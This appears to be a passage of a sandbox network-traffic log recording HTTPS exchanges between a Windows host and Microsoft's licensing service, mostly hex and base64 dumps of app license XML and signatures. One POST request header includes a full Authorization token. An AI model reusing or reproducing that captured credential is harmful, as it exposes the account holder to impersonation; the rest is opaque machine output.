2022-07-01 09:01:36 UTC 2611 IN Data Raw: 53 4e 79 63 32 45 74 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 53 5a 57 5a 6c 63 6d 56 75 59 32 55 67 
56 56 4a 4a 50 53 49 69 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 
67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 3
8 79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 
32 35 68 64 48 56 79 5a 53 49 67 4c 7a 34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 
64 45 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 
75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 
Data Ascii: SNyc2Etc2hhMjU2IiAvPjxSZWZlcmVuY2UgVVJJPSIiPjxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWx
nb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L
1RyYW5zZm9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1s

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:36 UTC 2612 IN Data Raw: 58 52 45 63 32 46 42 53 57 5a 33 65 56 49 35 59 6d 68 6f 4c 31 70 54 63 48 42 44 51 55 38 72 61 57 34 35 55 
45 39 4d 56 32 52 44 4d 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 
4e 6c 70 51 4d 45 5a 7a 55 30 56 73 54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 
52 64 44 56 69 61 6b 4e 45 53 46 4a 42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 6
4 73 5a 6c 70 51 55 6b 49 31 56 55 70 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 
7a 5a 71 62 30 56 74 62 45 68 6a 4e 55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 
51 7a 51 76 5a 47 68 46 59 6a 64 4b 57 6b 5a 56 61 32 4d 77 54 56 4a 6f 
Data Ascii: XREc2FBSWZ3eVI5YmhoL1pTcHBDQU8raW45UE9MV2RDMi9UUW9kZ2VIWnpiZEJ2eEp2S2hwYnJxNlp
QMEZzU0VsTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakNESFJBRzlmZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpad
zMyeWkwM3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR3JiTk1CYWh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJo

2022-07-01 09:01:36 UTC 2613 IN Data Raw: 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 
5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 4d 30 52 57 61 57 56 33 5a 
58 4a 66 4f 48 64 6c 61 33 6c 69 4d 32 51 34 59 6d 4a 33 5a 54 77 76 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 42 47 
54 6e 4d 2b 50 45 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 79 4d 44 45 32 4d 44 77 
76 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 6b 50 6a 77 76 51 6d 6c 75 5a 47 6c 75 5a 7a 
34 38 54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 67 56 48 6c 77 5a 54 30 69 54 47 56 68 63 32 55 69 49 45 78 70 59 
32 56 75 63 32 56 56 63 32 46 6e 5a 54 30 69 54 32 35 73 61 57 35 6c 49 69 
Data Ascii: 5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuTWljcm9zb2Z0M0RWaWV3ZXJfO
Hdla3liM2Q4YmJ3ZTwvQXNzb2NpYXRlZFBGTnM+PExlYXNlUmVuZXdhbFBlcmlvZD4yMDE2MDwvTGVhc2VSZW5ld2F
sUGVyaW9kPjwvQmluZGluZz48TGljZW5zZUluZm8gVHlwZT0iTGVhc2UiIExpY2Vuc2VVc2FnZT0iT25saW5lIi

2022-07-01 09:01:36 UTC 2614 IN Data Raw: 74 57 6b 4d 78 62 45 31 58 53 6d 6c 4d 56 46 55 30 57 6d 31 4a 64 46 6c 55 53 6d 70 4f 61 54 42 36 57 56 64 
53 61 55 31 45 55 54 4e 4e 65 6c 56 36 54 6c 52 6e 62 57 4a 58 52 6e 6c 68 4d 6c 59 77 55 46 5a 57 56 45 70 75 51 6e 
5a 69 52 32 78 71 5a 56 5a 53 4e 57 4e 48 56 54 6c 53 52 31 59 79 59 56 64 4f 62 45 6c 70 64 32 6c 68 4d 6c 59 31 55 
31 64 53 65 6b 6c 71 63 47 4a 4a 62 56 55 30 57 56 64 4e 4e 55 31 36 5a 7a 52 4d 56 47 52 71 54 31 64 4e 64 45 31 55 
62 47 70 5a 65 54 46 74 57 6b 52 53 61 30 78 58 54 6d 6c 4f 65 6b 70 70 57 57 70 46 4d 55 35 45 55 6d 78 5a 55 30 70 
6b 54 45 4e 4b 63 6d 46 58 4e 57 74 4a 61 6d 39 70 55 54 49 35 64 57 52 48 56 6e 56 6b 51 30 6c 7a 53 57 35 43 61 46 
6b 79 64 47 68 61 4d 6c 5a 36 53 57 70 77 59 6d 56 35 53 6e 64 5a 56 30 
Data Ascii: tWkMxbE1XSmlMVFU0Wm1JdFlUSmpOaTB6WVdSaU1EUTNNelV6TlRnbWJXRnlhMlYwUFZWVEpuQnZiR
2xqZVZSNWNHVTlSR1YyYVdObElpd2lhMlY1U1dSeklqcGJJbVU0WVdNNU16ZzRMVGRqT1dNdE1UbGpZe
TFtWkRSa0xXTmlOekppWWpFMU5EUmxZU0pkTENKcmFXNWtJam9pUTI5dWRHVnVkQ0lzSW5CaFkydGhaM
lZ6SWpwYmV5SndZV0

2022-07-01 09:01:36 UTC 2615 IN Data Raw: 4e 51 55 46 42 51 55 56 42 51 55 46 42 63 6b 78 55 55 56 6c 7a 64 30 46 42 51 55 4a 46 51 55 46 42 51 55 
46 52 51 55 4e 42 51 56 68 46 4e 32 39 4d 65 48 42 4f 64 6e 56 4b 5a 31 67 32 56 45 35 31 54 57 46 6a 5a 6b 68 75 51 
31 42 4a 52 58 56 31 4c 7a 56 72 63 54 67 72 5a 6a 42 30 56 48 56 31 59 31 6c 77 65 54 52 6d 53 6c 56 6d 56 6e 4d 32 
4d 57 70 48 61 48 6c 42 4b 7a 55 72 63 30 77 7a 4d 6d 64 57 4d 46 56 51 53 58 5a 32 52 6b 78 55 63 56 70 59 4d 56 4e 
55 57 57 4d 39 50 43 39 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 
4a 6c 49 48 68 74 62 47 35 7a 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 
44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 49 6a 34 38 55 32 
Data Ascii: NQUFBQUVBQUFBckxUUVlzd0FBQUJFQUFBQUFRQUNBQVhFN29MeHBOdnVKZ1g2VE51TWF
jZkhuQ1BJRXV1LzVrcTgrZjB0VHV1Y1lweTRmSlVmVnM2MWpHaHlBKzUrc0wzMmdWMFVQSXZ2RkxUcVp
YMVNUWWM9PC9TUExpY2Vuc2VCbG9jaz48U2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L
3htbGRzaWcjIj48U2

2022-07-01 09:01:36 UTC 2616 IN Data Raw: 34 5a 55 46 73 63 55 4a 46 5a 47 46 4c 54 32 6c 69 4d 46 42 6c 52 32 6c 74 64 47 78 69 62 48 70 4b 4d 57 
70 68 4e 46 63 34 4f 44 64 4b 56 56 64 51 59 32 35 46 51 6a 55 30 62 79 73 7a 55 46 5a 4d 52 6e 64 44 51 6e 42 4c 61 
47 39 50 56 6d 4a 4a 4c 31 4a 73 54 48 46 68 55 6b 31 5a 51 6b 63 72 52 32 67 72 54 33 6c 71 54 46 46 78 4d 30 39 6d 
57 47 52 75 56 32 46 58 52 55 78 44 63 56 68 70 55 44 56 54 52 7a 56 55 5a 45 35 76 5a 47 4e 44 56 45 56 44 52 6d 46 
4d 53 33 4e 4a 65 45 68 51 55 6a 55 78 61 56 5a 6a 57 48 5a 49 64 48 70 56 4d 7a 46 6b 55 6e 4d 34 52 6b 70 59 4c 32 
73 79 57 69 74 31 4f 55 31 71 5a 7a 4a 51 52 56 4a 32 56 45 46 5a 4e 48 4a 75 5a 30 51 72 54 56 68 35 61 47 52 6d 4c 
30 68 4b 62 30 4a 56 52 45 4a 75 5a 7a 4a 69 63 46 64 4e 65 6b 4a 6e 63 6b 
Data Ascii: 4ZUFscUJFZGFLT2liMFBlR2ltdGxibHpKMWphNFc4ODdKVVdQY25FQjU0byszUFZMRndDQnBLaG9PV
mJJL1JsTHFhUk1ZQkcrR2grT3lqTFFxM09mWGRuV2FXRUxDcVhpUDVTRzVUZE5vZGNDVEVDRmFMS3NJe
EhQUjUxaVZjWHZIdHpVMzFkUnM4RkpYL2syWit1OU1qZzJQRVJ2VEFZNHJuZ0QrTVh5aGRmL0hKb0JVREJuZzJicFd
NekJnck

2022-07-01 09:01:36 UTC 2617 IN Data Raw: 2b 50 43 39 4d 61 57 4e 6c 62 6e 4e 6c 50 67 3d 3d 22 7d 5d 2c 22 72 6f 6f 74 73 22 3a 5b 5d 7d 7d 
Data Ascii: +PC9MaWNlbnNlPg=="}],"roots":[]}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

158 192.168.2.5 49925 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:36 UTC 2617 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.41
Content-Length: 4305
Host: licensing.mp.microsoft.com

2022-07-01 09:01:36 UTC 2618 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:36 UTC 2623 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:36 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8001
MS-CorrelationId: 755f770c-cb3d-4cee-88e6-fb6446a96e4f
MS-RequestId: c8b43163-99dd-49ff-a0cd-870c93a5654f
MS-CV: UznHpAHqV0GMBdER.41.1530940875.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 75

2022-07-01 09:01:36 UTC 2623 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 65 38 66 66 66 32 64 66 2d 36 30 34 31 2d 38 
66 32 31 2d 33 64 66 37 2d 64 62 33 31 36 36 31 61 61 30 39 62 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"e8fff2df-6041-8f21-3df7-db31661aa09b"},"value":"P
ExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6eHNpPSJodHR
wOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:36 UTC 2624 IN Data Raw: 54 41 78 56 44 41 77 4f 6a 4d 77 4f 6a 49 30 4c 6a 67 79 4d 7a 41 30 4e 7a 46 61 50 43 39 43 5a 57 64 70 62 
6b 52 68 64 47 55 2b 50 43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 
61 57 4e 70 5a 58 4d 2b 5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 54 56 31 46 
70 54 32 6c 4a 4d 45 31 71 5a 33 6c 4e 52 45 70 72 54 31 4d 77 65 45 31 55 5a 33 70 4d 56 46 46 34 57 56 52 6e 64 46 
6c 58 56 54 56 50 51 7a 41 31 57 6c 52 42 4d 6b 31 74 56 6d 31 61 56 30 6b 7a 54 55 52 56 61 57 5a 52 50 54 30 38 4c 
30 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 
61 7a 35 47 51 55 46 42 51 55 78 6e 51 55 46 42 52 45 70 42 51 55 46 42 
Data Ascii: TAxVDAwOjMwOjI0LjgyMzA0NzFaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9saWN
pZXM+ZXlKc1pXZGhZM2xRY205a2RXTjBTV1FpT2lJME1qZ3lNREprT1MweE1UZ3pMVFF4WVRndFlXVTV
PQzA1WlRBMk1tVm1aV0kzTURVaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5GQUF
BQUxnQUFBREpBQUFB

2022-07-01 09:01:36 UTC 2625 IN Data Raw: 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 53 5a 57 5a 6c 63 6d 56 75 59 32 55 67 56 56 4a 4a 50 53 49 69 
50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 78 6e 62 33 4a 
70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 4
1 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 35 68 64 48 56 79 5a 
53 49 67 4c 7a 34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 6c 64 47 68 76 
5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 
6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 5a 57 35 6a 49 33 4e 6f 
Data Ascii: 2hhMjU2IiAvPjxSZWZlcmVuY2UgVVJJPSIiPjxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3JpdGh
tPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyYW5zZ
m9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3No

Timestamp
kBytes
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Direction Data
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2022-07-01 09:01:36 UTC 2626 IN Data Raw: 57 5a 33 65 56 49 35 59 6d 68 6f 4c 31 70 54 63 48 42 44 51 55 38 72 61 57 34 35 55 45 39 4d 56 32 52 44 
4d 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 70 51 4d 45 5a 
7a 55 30 56 73 54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 52 64 44 56 69 61 6b 
4e 45 53 46 4a 42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 64 73 5a 6c 70 51 55 
6b 49 31 56 55 70 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 71 62 30 56 74 
62 45 68 6a 4e 55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 51 7a 51 76 5a 47 68 
46 59 6a 64 4b 57 6b 5a 56 61 32 4d 77 54 56 4a 6f 63 79 39 4e 4d 31 5a 6c 
Data Ascii: WZ3eVI5YmhoL1pTcHBDQU8raW45UE9MV2RDMi9UUW9kZ2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZzU0V
sTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakNESFJBRzlmZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMyeWkwM
3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR3JiTk1CYWh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJocy9NM1Zl

2022-07-01 09:01:36 UTC 2627 IN Data Raw: 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 
79 62 33 4e 76 5a 6e 51 75 57 47 4a 76 65 45 64 68 62 57 56 50 64 6d 56 79 62 47 46 35 58 7a 68 33 5a 57 74 35 59 6a 
4e 6b 4f 47 4a 69 64 32 55 38 4c 30 46 7a 63 32 39 6a 61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 57 46 7a 5a 
56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 4d 54 49 35 4e 6a 41 77 50 43 39 4d 5a 57 46 7a 5a 56 4a 6c 
62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 50 43 39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 6c 62 6e 4e 
6c 53 57 35 6d 62 79 42 55 65 58 42 6c 50 53 4a 4d 5a 57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 56 7a 59 57 
64 6c 50 53 4a 50 62 6d 78 70 62 6d 55 69 49 45 78 70 59 32 56 75 63 32 
Data Ascii: hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuWGJveEdhbWVPdmVybGF5Xzh3ZWt5YjNkO
GJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZVJlbmV3YWxQZXJpb2Q+MTI5NjAwPC9MZWFzZVJlbmV3Y
WxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlSW5mbyBUeXBlPSJMZWFzZSIgTGljZW5zZVVzYWdlPSJPb
mxpbmUiIExpY2Vuc2

2022-07-01 09:01:36 UTC 2628 IN Data Raw: 31 4d 46 70 58 4e 54 42 4a 61 58 64 70 59 30 64 47 61 6d 45 79 52 6d 35 61 57 45 31 70 54 32 78 30 4e 30 
6c 75 51 6d 68 5a 4d 6e 52 6f 57 6a 4a 57 53 6c 70 48 56 6e 56 6b 52 32 78 74 59 56 64 57 65 55 6c 71 62 32 6c 4e 52 
45 6b 78 54 56 64 52 4d 6b 35 58 55 58 52 61 56 47 63 30 54 6e 6b 77 65 55 39 48 53 6d 74 4d 56 30 56 35 54 57 70 5a 
64 45 30 79 56 6d 70 61 52 47 4e 35 57 6d 31 4a 4d 55 39 58 54 54 4a 4a 61 58 64 70 59 30 64 47 61 6d 45 79 52 6d 35 
61 56 6c 49 31 59 30 64 56 61 55 39 70 53 6e 52 6a 4d 6d 77 30 53 57 6c 33 61 57 4e 49 53 6e 5a 61 53 46 5a 71 5a 45 
56 47 61 31 70 46 4f 58 56 6a 65 55 6b 32 56 7a 45 77 63 30 6c 75 51 6e 6c 69 4d 6c 49 78 57 54 4e 53 53 6c 70 44 53 
54 5a 4a 61 6d 78 50 55 57 74 34 53 46 49 77 5a 7a 46 4e 65 6d 52 45 54 57 
Data Ascii: 1MFpXNTBJaXdpY0dGamEyRm5aWE1pT2x0N0luQmhZMnRoWjJWSlpHVnVkR2xtYVdWeUlqb2lNREkxT
VdRMk5XUXRaVGc0TnkweU9HSmtMV0V5TWpZdE0yVmpaRGN5Wm1JMU9XTTJJaXdpY0dGamEyRm5aVlI1Y
0dVaU9pSnRjMmw0SWl3aWNISnZaSFZqZEVGa1pFOXVjeUk2VzEwc0luQnliMlIxWTNSSlpDSTZJamxPUWt4SFIwZzF
NemRETW

2022-07-01 09:01:36 UTC 2629 IN Data Raw: 76 63 6d 63 76 4d 6a 41 77 4d 43 38 77 4f 53 39 34 62 57 78 6b 63 32 6c 6e 49 79 49 2b 50 46 4e 70 5a 32 
35 6c 5a 45 6c 75 5a 6d 38 2b 50 45 4e 68 62 6d 39 75 61 57 4e 68 62 47 6c 36 59 58 52 70 62 32 35 4e 5a 58 52 6f 62 
32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5
a 79 38 79 4d 44 41 78 4c 7a 45 77 4c 33 68 74 62 43 31 6c 65 47 4d 74 59 7a 45 30 62 69 4d 69 49 43 38 2b 50 46 4e 
70 5a 32 35 68 64 48 56 79 5a 55 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 
41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 5a 48 4e 70 5a 
79 31 74 62 33 4a 6c 49 33 4a 7a 59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 
Data Ascii: vcmcvMjAwMC8wOS94bWxkc2lnIyI+PFNpZ25lZEluZm8+PENhbm9uaWNhbGl6YXRpb25NZXRob2QgQ
Wxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiIC8+PFNpZ25hdHVyZU1ldGh
vZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZHNpZy1tb3JlI3JzYS1zaGEyNTYiIC

2022-07-01 09:01:36 UTC 2630 IN Data Raw: 76 57 44 45 78 64 46 68 36 64 31 49 34 56 31 4a 4b 61 30 52 5a 5a 48 55 72 65 46 64 6e 4f 47 4e 4b 4e 32 
55 31 56 57 55 72 63 6a 52 47 62 45 35 4e 56 32 52 72 4b 32 31 6c 4b 33 42 74 57 54 42 73 61 6c 4a 36 5a 32 78 4c 51 
55 74 53 5a 31 63 34 4d 55 68 7a 4e 58 6c 30 4e 6c 45 39 50 54 77 76 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 56 6d 46 73 
64 57 55 2b 50 45 74 6c 65 55 6c 75 5a 6d 38 67 53 57 51 39 49 6c 38 77 5a 6a 67 78 59 6a 49 30 5a 69 31 69 59 7a 51 
77 4c 54 49 33 4d 54 49 74 4d 47 51 31 5a 43 31 6c 4e 32 4d 78 4d 44 41 34 4e 57 4d 7a 4d 7a 41 69 50 6a 78 4c 5a 58 
6c 57 59 57 78 31 5a 54 34 38 55 6c 4e 42 53 32 56 35 56 6d 46 73 64 57 55 2b 50 45 31 76 5a 48 56 73 64 58 4d 2b 62 
